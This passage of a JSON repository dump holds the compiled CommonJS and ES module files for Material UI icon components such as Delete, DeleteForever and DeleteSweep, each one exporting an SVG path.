    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16v2h20v-2zm0-5v2h20v-2zm0-5v2h20V6z\"\n}), 'DehazeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DehazeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16v2h20v-2zm0-5v2h20v-2zm0-5v2h20V6z\"\n}), 'DehazeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DehazeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16v2h20v-2zm0-5v2h20v-2zm0-5v2h20V6z\"\n}), 'DehazeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Delete.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM19 4h-3.5l-1-1h-5l-1 1H5v2h14z\"\n}), 'Delete');"
  },
  {
    "path": "packages/mui-icons-material/lib/Delete.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM19 4h-3.5l-1-1h-5l-1 1H5v2h14z\"\n}), 'Delete');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForever.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm2.46-7.12 1.41-1.41L12 12.59l2.12-2.12 1.41 1.41L13.41 14l2.12 2.12-1.41 1.41L12 15.41l-2.12 2.12-1.41-1.41L10.59 14zM15.5 4l-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteForever');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForever.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm2.46-7.12 1.41-1.41L12 12.59l2.12-2.12 1.41 1.41L13.41 14l2.12 2.12-1.41 1.41L12 15.41l-2.12 2.12-1.41-1.41L10.59 14zM15.5 4l-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteForever');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.12 10.47 12 12.59l-2.13-2.12-1.41 1.41L10.59 14l-2.12 2.12 1.41 1.41L12 15.41l2.12 2.12 1.41-1.41L13.41 14l2.12-2.12zM15.5 4l-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8z\"\n}), 'DeleteForeverOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.12 10.47 12 12.59l-2.13-2.12-1.41 1.41L10.59 14l-2.12 2.12 1.41 1.41L12 15.41l2.12 2.12 1.41-1.41L13.41 14l2.12-2.12zM15.5 4l-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8z\"\n}), 'DeleteForeverOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm3.17-6.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 12.59l1.41-1.41c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 14l1.41 1.41c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L12 15.41l-1.41 1.41c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 14zM18 4h-2.5l-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DeleteForeverRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm3.17-6.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 12.59l1.41-1.41c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 14l1.41 1.41c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L12 15.41l-1.41 1.41c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 14zM18 4h-2.5l-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DeleteForeverRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 21h12V7H6zm2.46-9.12 1.41-1.41L12 12.59l2.12-2.12 1.41 1.41L13.41 14l2.12 2.12-1.41 1.41L12 15.41l-2.12 2.12-1.41-1.41L10.59 14zM15.5 4l-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteForeverSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 21h12V7H6zm2.46-9.12 1.41-1.41L12 12.59l2.12-2.12 1.41 1.41L13.41 14l2.12 2.12-1.41 1.41L12 15.41l-2.12 2.12-1.41-1.41L10.59 14zM15.5 4l-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteForeverSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9H8v10h8zm-.47 7.12-1.41 1.41L12 15.41l-2.12 2.12-1.41-1.41L10.59 14l-2.13-2.12 1.41-1.41L12 12.59l2.12-2.12 1.41 1.41L13.41 14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.12 10.47 12 12.59l-2.13-2.12-1.41 1.41L10.59 14l-2.12 2.12 1.41 1.41L12 15.41l2.12 2.12 1.41-1.41L13.41 14l2.12-2.12zM15.5 4l-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8z\"\n}, \"1\")], 'DeleteForeverTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteForeverTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9H8v10h8zm-.47 7.12-1.41 1.41L12 15.41l-2.12 2.12-1.41-1.41L10.59 14l-2.13-2.12 1.41-1.41L12 12.59l2.12-2.12 1.41 1.41L13.41 14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.12 10.47 12 12.59l-2.13-2.12-1.41 1.41L10.59 14l-2.12 2.12 1.41 1.41L12 15.41l2.12 2.12 1.41-1.41L13.41 14l2.12-2.12zM15.5 4l-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8z\"\n}, \"1\")], 'DeleteForeverTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2zM9 9h6c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-8c0-.55.45-1 1-1m6.5-5-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'DeleteOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2zM9 9h6c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-8c0-.55.45-1 1-1m6.5-5-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'DeleteOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 21h12V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 21h12V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8zm7.5-5-1-1h-5l-1 1H5v2h14V4z\"\n}), 'DeleteOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9v10H8V9zm-1.5-6h-5l-1 1H5v2h14V4h-3.5zM18 7H6v12c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2z\"\n}), 'DeleteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9v10H8V9zm-1.5-6h-5l-1 1H5v2h14V4h-3.5zM18 7H6v12c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2z\"\n}), 'DeleteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2zM18 4h-2.5l-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DeleteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2zM18 4h-2.5l-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DeleteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 21h12V7H6zM19 4h-3.5l-1-1h-5l-1 1H5v2h14z\"\n}), 'DeleteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 21h12V7H6zM19 4h-3.5l-1-1h-5l-1 1H5v2h14z\"\n}), 'DeleteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweep.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zM14 5h-3l-1-1H6L5 5H2v2h12z\"\n}), 'DeleteSweep');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweep.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zM14 5h-3l-1-1H6L5 5H2v2h12z\"\n}), 'DeleteSweep');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zm2-8h6v8H5zm5-6H6L5 5H2v2h12V5h-3z\"\n}), 'DeleteSweepOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zm2-8h6v8H5zm5-6H6L5 5H2v2h12V5h-3z\"\n}), 'DeleteSweepOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 16h2c.55 0 1 .45 1 1s-.45 1-1 1h-2c-.55 0-1-.45-1-1s.45-1 1-1m0-8h5c.55 0 1 .45 1 1s-.45 1-1 1h-5c-.55 0-1-.45-1-1s.45-1 1-1m0 4h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1M3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zM13 5h-2l-.71-.71c-.18-.18-.44-.29-.7-.29H6.41c-.26 0-.52.11-.7.29L5 5H3c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DeleteSweepRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 16h2c.55 0 1 .45 1 1s-.45 1-1 1h-2c-.55 0-1-.45-1-1s.45-1 1-1m0-8h5c.55 0 1 .45 1 1s-.45 1-1 1h-5c-.55 0-1-.45-1-1s.45-1 1-1m0 4h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1M3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zM13 5h-2l-.71-.71c-.18-.18-.44-.29-.7-.29H6.41c-.26 0-.52.11-.7.29L5 5H3c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DeleteSweepRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 20h10V8H3zM14 5h-3l-1-1H6L5 5H2v2h12z\"\n}), 'DeleteSweepSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 20h10V8H3zM14 5h-3l-1-1H6L5 5H2v2h12z\"\n}), 'DeleteSweepSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepTwoTone.js",
